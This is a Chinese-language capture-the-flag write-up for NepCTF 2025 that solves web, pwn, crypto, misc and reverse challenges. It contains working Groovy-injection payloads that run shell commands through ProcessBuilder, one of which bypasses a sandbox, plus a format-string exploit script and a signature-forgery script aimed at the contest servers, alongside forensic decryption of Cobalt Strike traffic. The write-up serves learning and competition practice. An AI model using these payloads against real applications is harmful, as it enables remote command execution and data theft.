NepCTF——wp

web

JavaSeri

进入网站发现进不去

image.png

由题目在后面加上/login.jsp得到

image.png

看到remember me就知道是shiro框架
所以使用这个工具可以爆破出key

image.png

得到key是kPH+bIxk5D2deZiIxcaaaA==
然后我们爆破利用链以及回显得到

image.png

最终我们可以在命令执行中输入env得到flag

image.png

FLAG=flag{97353f93-7cec-1101-792e-9bf387095d95}

easyGooGooVVVY

看到这个题目就知道核心场景是Groovy表达式注入:页面提供输入框,允许用户提交 Groovy代码并执行。目标是利用该特性,读取服务器环境变量中的FLAG。

image.png

二、漏洞原理

Groovy是运行在JVM上的动态语言,天然支持调用Java标准库。若应用未对用户输入的Groovy代码做严格校验,攻击者可注入恶意代码,通过JavaAPI(如ProcessBuilder)执行系统命令,从而窃取敏感信息(如环境变量、文件内容等)。

三、利用过程

  1. 目标分析

服务器环境中,FLAG通常存储为环境变量。通过执行Shell命令echo $FLAG即可读取其值。

  1. 构造 Groovy payload

利用Java的ProcessBuilder类执行Shell命令,步骤如下:

//1.创建进程构建器,指定要执行的Shell命令:

echo $FLAGdef pb = new ProcessBuilder([‘sh’,’-c’,’echo $FLAG’])

//2.启动进程,开始执行命令

def proc = pb.start()

//3.等待进程执行完毕(确保输出完整)

proc.waitFor()

// 4. 读取进程的标准输出(即命令结果),并去除首尾空白

def content = proc.inputStream.text.trim()

//5.返回结果,使页面显示FLAG

content

我们将这个代码放到输入框中得到flag

image.png

得到flag{a27f0eff-0ac2-3d0a-01ed-486fc1b1ec01}

RevengeGooGooVVVY

分析题目:本题延续Groovy 表达式注入场景,但新增两个沙盒净化类(Phase3Purifiler和CustomGroovyPurifiler),意图限制危险操作。我们继续分析这两个文件:

1. Phase3Purifiler.java(AST 转换拦截)

绕过点:本题未使用注解,直接调用Java原生类ProcessBuilder,避开 AST 转换检测。

2. CustomGroovyPurifiler.java(方法调用沙盒)

仅拦截方法名为execute的调用(如String.execute()),未拦截ProcessBuilder.start()(方法名不同)。

ProcessBuilder属于Java原生类,沙盒未对其构造和调用做限制。

所以由此我们可以构造出一个合法的ProcessBuilder调用

如下:

def pb = new ProcessBuilder([‘sh’, ‘-c’, ‘echo $FLAG’])

//调用Java原生类,非Groovy特有方法

def proc = pb.start()

//核心:使用start()而非execute(),绕过沙盒规则2

proc.waitFor()

//等待命令执行完成

def content = proc.inputStream.text.trim()

//读取输出,trim()在String白名单中(因白名单包含所有方法)content

//返回FLAG

我们将这段代码放入输入框得到flag

image.png

得到NepCTF{f1ebb102-4cd7-e79a-a59e-bdeb8f39984e}

pwn

Time

正常ida打开找到主程序

image.png

image.png

image.png

image.png

发现printf(format_);格式化漏洞,但是限制字符不能有flag,所以刚好对应上题目time,利用时间写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

# ELF文件可选加载
_bin = ELF("./time")

# 可选本地调试:
# io = process(_bin.path)

# 远程 TLS 连接
io = remote("nepctf32-lzta-hb4o-3qpb-srvc9jeja259.nepctf.com", 443, ssl=True, sni=True, typ='tcp')

context.update(arch=_bin.arch, os=_bin.os, log_level='debug')

# 格式化字符串泄露信息(注意偏移是构造链 %28$p ~ %22$p)
payload = b''.join([f'%{i}$p'.encode() for i in range(28, 21, -1)])
io.sendlineafter(b'name:\n', payload)

# 多轮探测竞态
for round in range(2048):
io.sendline(b'hint.txt')
io.sendline(b'/flag')

try:
resp = io.recv(timeout=0.06)
if any(x in resp for x in [b'flag', b'CTF{']):
print(f'[+] Round {round} Get: {resp.decode(errors="ignore").strip()}')
break
except Exception:
continue

io.interactive()

得到b’hello (nil)0xa7d3134640x36346462313635630x382d343063302d660x3862372d306636330x2d316166616233380x647b46544370654e ,your file read done!\n’

需要去转字符串

image.png

发现是反转了,大厨直接出

image.png

得到NepCTF{d83bafa1-36f0-7b8f-0c04-8c561bd46d41}

crypto

Nepsign

签到题,是我最喜欢的国密算法SM3,写个脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
import os
import binascii
import ast
from gmssl import sm3 as gmssl_sm3
from pwn import *
import sys
import time
import socket
import ssl

# 定义SM3函数
def SM3(data):
data = bytes(data)
data_list = list(data)
h = gmssl_sm3.sm3_hash(data_list)
return h

def SM3_n(data, n=1, bits=256):
data_bin = data
for _ in range(n):
data_hex = SM3(data_bin)
data_bin = binascii.unhexlify(data_hex.encode())
hex_str = data_bin.hex()
return hex_str[:bits // 4]

hex_symbols = '0123456789abcdef'

# 创建安全的SSL连接
def create_ssl_connection(host, port, max_retries=3, timeout=20):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# 设置更现代的加密套件和协议
context.options |= ssl.OP_NO_SSLv2
context.options |= ssl.OP_NO_SSLv3
context.options |= ssl.OP_NO_TLSv1
context.options |= ssl.OP_NO_TLSv1_1
context.set_ciphers('ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20')

for i in range(max_retries):
try:
# 创建TCP套接字
sock = socket.create_connection((host, port), timeout=timeout)
# 包装SSL套接字
ssock = context.wrap_socket(sock, server_hostname=host)
ssock.settimeout(timeout)
return ssock
except Exception as e:
print(f"连接尝试 {i + 1} 失败: {e}")
if i < max_retries - 1:
time.sleep(2)
return None

# 连接服务器
host = 'nepctf31-7cvo-yss2-jzpq-wd53jtut5307.nepctf.com'
port = 443

try:
ssock = create_ssl_connection(host, port)
if not ssock:
print("无法建立SSL连接")
sys.exit(1)

# 创建pwntools远程对象
r = remote.fromsocket(ssock)
# 设置日志级别
context.log_level = 'info'

print("正在接收初始化信息...")
data = r.recvuntil(b'> ')
if b'initializing' in data:
print("连接成功")
else:
print("未收到预期响应")
print(f"收到数据: {data}")
sys.exit(1)
except Exception as e:
print(f"连接失败: {e}")
sys.exit(1)

# 存储恢复的私钥
sk_recovered = [None] * 48

print("开始恢复私钥(0-31)...")
# 恢复私钥: 前32个索引 (k=031)
for k in range(32):
while True:
try:
# 生成随机消息
msg_bytes = os.urandom(10)
msg_hex = msg_bytes.hex()
# 计算SM3哈希
m_hex = SM3(msg_bytes)
# 检查第k个字节是否为00
if m_hex[2 * k:2 * k + 2] == "00":
# 请求签名
r.sendline(b'1')
r.recvuntil(b'msg: ')
r.sendline(msg_hex.encode())
sig_line = r.recvline().decode().strip()
# 确保接收到提示符
try:
r.recvuntil(b'>', timeout=1)
except:
pass

# 解析签名列表
try:
qq_list = ast.literal_eval(sig_line)
sk_recovered[k] = bytes.fromhex(qq_list[k])
print(f"成功恢复私钥[{k}]")
break
except Exception as e:
print(f"解析失败: {e}, 签名: {sig_line}")
# 重试相同k值
except EOFError:
print("连接中断,尝试重连...")
# 重新连接
ssock = create_ssl_connection(host, port)
if not ssock:
print("重连失败")
sys.exit(1)
r = remote.fromsocket(ssock)
r.recvuntil(b'>')
except Exception as e:
print(f"错误: {e}")
time.sleep(1) # 短暂等待后重试

print("开始恢复私钥(32-47)...")
# 恢复私钥: 后16个索引 (k=3247)
for k in range(32, 48):
i = k - 32
symbol = hex_symbols[i]

while True:
try:
# 生成随机消息
msg_bytes = os.urandom(10)
msg_hex = msg_bytes.hex()
# 计算SM3哈希
m_hex = SM3(msg_bytes)
# 检查符号是否未出现
if symbol not in m_hex:
# 请求签名
r.sendline(b'1')
r.recvuntil(b'msg: ')
r.sendline(msg_hex.encode())
sig_line = r.recvline().decode().strip()
# 确保接收到提示符
try:
r.recvuntil(b'>', timeout=1)
except:
pass

try:
qq_list = ast.literal_eval(sig_line)
sk_recovered[k] = bytes.fromhex(qq_list[k])
print(f"成功恢复私钥[{k}]")
break
except Exception as e:
print(f"解析失败: {e}, 签名: {sig_line}")
# 重试相同k值
except EOFError:
print("连接中断,尝试重连...")
# 重新连接
ssock = create_ssl_connection(host, port)
if not ssock:
print("重连失败")
sys.exit(1)
r = remote.fromsocket(ssock)
r.recvuntil(b'>')
except Exception as e:
print(f"错误: {e}")
time.sleep(1) # 短暂等待后重试

# 为目标消息生成签名
print("正在为目标消息生成签名...")
msg_target = b"happy for NepCTF 2025"
m_hex = SM3(msg_target) # 哈希
m_bin = bin(int(m_hex, 16))[2:].zfill(256) # 二进制串

# 计算step数组
step = [0] * 48
# 前32个step
for i in range(32):
byte_bin = m_bin[8 * i:8 * i + 8]
step[i] = int(byte_bin, 2) # a[i]
# 后16个step
for i in range(16):
total = 0
for j in range(1, 65): # 位置1-64
if m_hex[j - 1] == hex_symbols[i]:
total += j
step[32 + i] = total % 255

# 计算qq_target
qq_target = []
for idx in range(48):
qq_hex = SM3_n(sk_recovered[idx], step[idx], 256)
qq_target.append(qq_hex)
print(f"计算签名[{idx}]")

# 提交签名
print("正在提交签名...")
try:
r.sendline(b'2')
r.recvuntil(b'give me a qq: ')
# 确保使用可解析的格式
signature_str = str(qq_target).replace("'", '"')
r.sendline(signature_str.encode())
flag_output = r.recvall(timeout=10).decode()
print("=" * 50)
print("旗帜结果:")
print(flag_output)
print("=" * 50)
except Exception as e:
print(f"提交签名失败: {e}")
finally:
r.close()

image.png

NepCTF{fb3ea54a-9991-2bad-57ce-7600be5d25c2}

misc

NepBotEvent

查看题目发现是键盘记录器,那就说明要提取键盘流量,写个脚本提取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import struct

# 键码到字符映射(小写)
keycode_map = {
2: '1', 3: '2', 4: '3', 5: '4', 6: '5',
7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
12: '-', 13: '=', 14: '[BACKSPACE]',
15: '\t', 16: 'q', 17: 'w', 18: 'e', 19: 'r',
20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p',
26: '[', 27: ']', 28: '\n',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
35: 'h', 36: 'j', 37: 'k', 38: 'l',
39: ';', 40: "'", 41: '`',
44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b',
49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/',
57: ' ', # 空格
42: '[SHIFT_L]', 54: '[SHIFT_R]', 29: '[CTRL]', 56: '[ALT]',
58: '[CAPSLOCK]'
}

# 对应带shift的字符映射,注意只列常见数字符号,字母由代码处理
shift_map = {
'1': '!', '2': '@', '3': '#', '4': '$', '5': '%',
'6': '^', '7': '&', '8': '*', '9': '(', '0': ')',
'-': '_', '=': '+', '[': '{', ']': '}', '\\': '|',
';': ':', "'": '"', ',': '<', '.': '>', '/': '?', '`': '~'
}

def process_events(data):
capslock = False
shift_pressed = False
output = []

for i in range(0, len(data), 24):
event = data[i:i+24]
if len(event) < 24:
break
_, _, type_, code, value = struct.unpack('qqHHI', event)

# 处理按键事件
if type_ == 1:
key = keycode_map.get(code, None)
if not key:
# 未知键码忽略
continue

if key in ['[SHIFT_L]', '[SHIFT_R]']:
shift_pressed = (value == 1)
continue
elif key == '[CAPSLOCK]' and value == 1:
capslock = not capslock
continue

if value == 1: # 按下事件
if key == '[BACKSPACE]':
if output:
output.pop()
continue
# 处理字母大小写
if len(key) == 1 and key.isalpha():
if capslock ^ shift_pressed:
output.append(key.upper())
else:
output.append(key.lower())
continue
# 处理数字和符号带shift映射
if shift_pressed and key in shift_map:
output.append(shift_map[key])
else:
output.append(key)
return ''.join(output)

def decode_keylogger(file_path):
try:
with open(file_path, 'rb') as f:
data = f.read()
except Exception as e:
print(f"读取文件失败: {e}")
return ""

return process_events(data)

if __name__ == "__main__":
filepath = r"C:\Users\Jiker\Downloads\nepbotevent\NepBot_keylogger"
result = decode_keylogger(filepath)
print("[+] 优化后恢复按键序列如下:\n")
print(result)

image.png

发现数据库NepCTF-20250725-114514

SpeedMino

俄罗斯方块,没想着逆向,发现程序有个bug,hold选项可以让方块一直不落地,也就是不可能死,等到2600自然结果就出了,但是太久了,写个连点器

最后得到NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

客服小美

题目给了两个文件,一个是流量包DESKTOP.pcapng,一个是内存镜像DESKTOP.raw

先分析流量包

过滤出http的流量来,一看就看出是cs的特征来

2025-07-27-16-11-15-image.png

目的地址跟目的端口就是木马回连地址:

192.168.27.132:12580

使用LovelyMem对内存镜像DESKTOP.raw进行取证

2025-07-28-09-31-12-image.png

在进程分析中,发现了木马程序“关于2025年部分节假日安排的通知.exe”,并且执行此木马的权限为用户JohnDoe,所以JohnDoe就是被控机器的用户名

在网络信息中

2025-07-28-09-33-52-image.png

也证实了木马会连地址:
192.168.27.132:12580

至于题目中被顺走的敏感信息,需要解密流量包中加密的cs通信流量

CobaltStrike网络流量可以使用正确的AES和HMAC密钥进行解密。可以从内存转储文件中获取AES和HMAC密钥

使用LovelyMem对6492进程进行转储,到处minidump_pid_6492.dmp

2025-07-28-09-41-47-image.png

使用 cs-extract-key.py 查找并解码元数据

https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py

对于 Cobalt Strike 4.x 的 Beacon,通过内存直接提取未加密元数据的可能性变得极低了。因为此时已经没有数据头来进行标识了,单纯的 16 字节长序列没有可区分的特征。只能通过在进程内存中找到所有可能的 16 字节长非空序列作为密钥字典,不断尝试解密 C&C 通信,碰撞成功就找到了密钥。

提取方式例如 cs-parse-http-traffic.py -k unknown capture.pcapng, -k 表示密钥未知,该工具尝试提取加密数据流量:

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

python cs-parse-http-traffic.py -k unknown DESKTOP.pcapng

2025-07-28-09-51-17-image.png

随便拿一组数据来说

数据包83是对数据包80的GET请求的HTTP响应,响应数据长48字节(ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd)。

这应该就是 Team Server 发送给 Beacon 的加密数据,通过 cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd minidump_pid_6492.dmp 尝试提取密钥:

python cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd minidump_pid_6492.dmp

2025-07-28-09-57-37-image.png

AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
HMAC Key: 35d34ac8778482751682514436d71e09

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES

# 密钥定义
AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

# 加密数据
encrypted_data_str = "00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a"

def decrypt(encrypted_data, iv_bytes, signature, aes_key, hmac_key):
  """
  解密函数,使用AES-CBC模式解密数据并验证HMAC签名

  参数:
  encrypted_data (bytes): 待解密的数据
  iv_bytes (bytes): 初始化向量
  signature (bytes): HMAC签名
  aes_key (bytes): AES解密密钥
  hmac_key (bytes): HMAC验证密钥

  返回:
  bytes: 解密后的数据,如果HMAC验证失败则返回None
  """
  # 计算HMAC并验证签名
  expected_hmac = hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16]
  if not hmac.compare_digest(expected_hmac, signature):
      print("message authentication failed")
      return None

  # 使用AES-CBC模式解密
  cipher = AES.new(aes_key, AES.MODE_CBC, iv_bytes)
  return cipher.decrypt(encrypted_data)

def main():
  """主函数,处理解密流程并输出结果"""
  try:
      # 转换加密数据为字节类型
      encrypted_data = bytes.fromhex(encrypted_data_str.replace('\n', ''))

      # 解析数据长度
      data_length = int.from_bytes(encrypted_data[:4], byteorder='big', signed=False)
      data_part = encrypted_data[4:]

      # 分离加密数据和签名
      encrypted_content = data_part[:data_length-16]
      signature = data_part[data_length-16:data_length]

      # 固定的初始化向量
      iv_bytes = b"abcdefghijklmnop"

      # 执行解密
      decrypted_data = decrypt(encrypted_content, iv_bytes, signature, AES_KEY, HMAC_KEY)

      if decrypted_data:
          # 解析解密后的数据
          counter = int.from_bytes(decrypted_data[:4], byteorder='big', signed=False)
          task_length = int.from_bytes(decrypted_data[4:8], byteorder='big', signed=False)
          task_type = int.from_bytes(decrypted_data[8:12], byteorder='big', signed=False)
          task_data = decrypted_data[12:12 + task_length]

          # 输出结果
          print(f"counter: {counter}")
          print(f"任务返回长度: {task_length}")
          print(f"任务输出类型: {task_type}")
          print(f"任务数据: {task_data}")
          print("完整解密数据:")
          hexdump.hexdump(decrypted_data)

  except Exception as e:
      print(f"解密过程中发生错误: {e}")

if __name__ == "__main__":
  main()

2025-07-28-10-23-18-image.png

敏感信息:5c1eb2c4-0b85-491f-8d50-4e965b9d8a43

组合信息得到最终flag:

NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

问卷!!!

给了个网址https://wj.qq.com/s/23296654/e9fc/

直接秒啦!!!

NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!}

reverse

Realme

先用ida打开主函数

image.png

发现加密逻辑

image.png

image.png

发现是rc4,但是被魔改了,两处魔改点,但是最后是取模,无法还原密文,显然不是正确的加密逻辑,对照了题目realme,所以直接动调找到正确的加密逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void *__cdecl sub_40B000(char *a1, char *a2, unsigned int a3) {
void *result; // eax
char v4; // [esp+D3h] [ebp-129h]
char v5[264]; // [esp+DCh] [ebp-120h] BYREF
int v6; // [esp+1E4h] [ebp-18h]
int i; // [esp+1F0h] [ebp-Ch]

v6 = 0;
result = memset(v5, 0, 0x100u);
for (i = 0; i < 256; ++i) {
a1[i] = i ^ 0xCF;
v5[i] = a2[i % a3];
result = (void *)(i + 1);
}
for (i = 0; i < 256; ++i) {
v6 = ((unsigned __int8)v5[i] + v6 + (unsigned __int8)a1[i]) % 256;
v4 = a1[i];
a1[i] = a1[v6];
a1[v6] = v4 ^ 0xAD;
result = (void *)(i + 1);
}
return result;
}

unsigned int __cdecl sub_401A60(char *a1, char *a2, unsigned int a3) {
unsigned int result; // eax
int v4; // ecx
char v5; // al
char v6; // [esp+D3h] [ebp-35h]
unsigned int i; // [esp+DCh] [ebp-2Ch]
int v8; // [esp+F4h] [ebp-14h]
int v9; // [esp+100h] [ebp-8h]

__CheckForDebuggerJustMyCode(&unk_41200F);
v9 = 0;
v8 = 0;
for (i = 0; ; ++i) {
result = i;
if (i >= a3)
break;
v9 = (v9 + 1) % 256;
v8 = (v8 + v9 * (unsigned __int8)a1[v9]) % 256;
v6 = a1[v9];
a1[v9] = a1[v8];
a1[v8] = v6;
v4 = ((unsigned __int8)a1[v8] + (unsigned __int8)a1[v9]) % 256;
if (i % 2)
v5 = a1[v4] + a2[i];
else
v5 = a2[i] - a1[v4];
a2[i] = v5;
}
return result;
}

写个exp解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def mixer(seed: bytes) -> bytearray:
box = bytearray(((n ^ 0xCF) & 0xFF) for n in range(256))
pad = bytearray(seed[i % len(seed)] for i in range(256))
ptr = 0
for idx in range(256):
ptr = (ptr + pad[idx] + box[idx]) & 0xFF
box[idx], box[ptr] = box[ptr], box[idx]
box[ptr] ^= 0xAD
return box

def transform(blob: bytes, token: bytes) -> bytes:
state = mixer(token)
a, b = 0, 0
result = bytearray(blob)
for pos, ch in enumerate(blob):
a = (a + 1) & 0xFF
b = (b + a * state[a]) & 0xFF
state[a], state[b] = state[b], state[a]
t = (state[a] + state[b]) & 0xFF
delta = state[t]
if pos & 1:
result[pos] = (ch - delta) & 0xFF
else:
result[pos] = (ch + delta) & 0xFF
return bytes(result)

if __name__ == "__main__":
key_material = b"Y0u_Can't_F1nd_Me!"
secret_data = bytes([
0x50, 0x59, 0xA2, 0x94, 0x2E, 0x8E, 0x5C, 0x95, 0x79, 0x16,
0xE5, 0x36, 0x60, 0xC7, 0xE8, 0x06, 0x33, 0x78, 0xF0, 0xD0,
0x36, 0xC8, 0x73, 0x1B, 0x65, 0x40, 0xB5, 0xD4, 0xE8, 0x9C,
0x65, 0xF4, 0xBA, 0x62, 0xD0
])
decoded = transform(secret_data, key_material)
print(decoded.decode('utf-8', errors='replace'))

得到NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

QRS

先用ida打开main函数

image.png

image.png

毛用没有,搜一下qrs,发现真main

image.png

在QRS::e12c96f7a24fc73e1::axum_extract::b2a92c317a3cdec81发现tea算法

image.png

接下来就是动调,因为给了符号表所以很好定位到0x68547369,跟踪xref一下获取密文密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int __deviceKey[2 << 1] = {
0x01234567,
0x89ABCDEF,
0x0FEDCBA9,
0x76543210
};

unsigned int __encodedResult[0x8] = {
0x083EA621, 0xC745973C,
0xE3B77AE8, 0xCDEE8146,
0x7DC86B96, 0x6B8C9D3B,
0x79B14342, 0x2ECF0F0D
};

写个exp解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def bytes_to_dwords_le(data: bytes):
return [int.from_bytes(data[i:i+4], 'little') for i in range(0, len(data), 4)]

def dwords_to_bytes_le(dwords):
return b''.join(dw.to_bytes(4, 'little') for dw in dwords)

def decrypt_block(v0, v1, k, rounds=0x30, delta=0x68547369):
sum_ = (rounds * delta) & 0xFFFFFFFF
for _ in range(rounds):
v1 = (v1 - (((v0 << 4 ^ v0 >> 5) + v0) ^ (k[(sum_ >> 11) & 3] + sum_))) & 0xFFFFFFFF
sum_ = (sum_ - delta) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4 ^ v1 >> 5) + v1) ^ (k[sum_ & 3] + sum_))) & 0xFFFFFFFF
return v0, v1

if __name__ == "__main__":
key = [0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210]
ciphertext = bytes.fromhex("21A63E083C9745C7E87AB7E34681EECD966BC87D3B9D8C6B4243B1790D0FCF2E")
enc_words = bytes_to_dwords_le(ciphertext)

plain_words = []
for i in range(0, len(enc_words), 2):
x, y = enc_words[i], enc_words[i+1]
p0, p1 = decrypt_block(x, y, key)
plain_words.extend([p0, p1])

plaintext = dwords_to_bytes_le(plain_words)
print(plaintext.decode())

image.png

得到NepCTF{a4747f82be106d3f8c4d747c744d7ee5}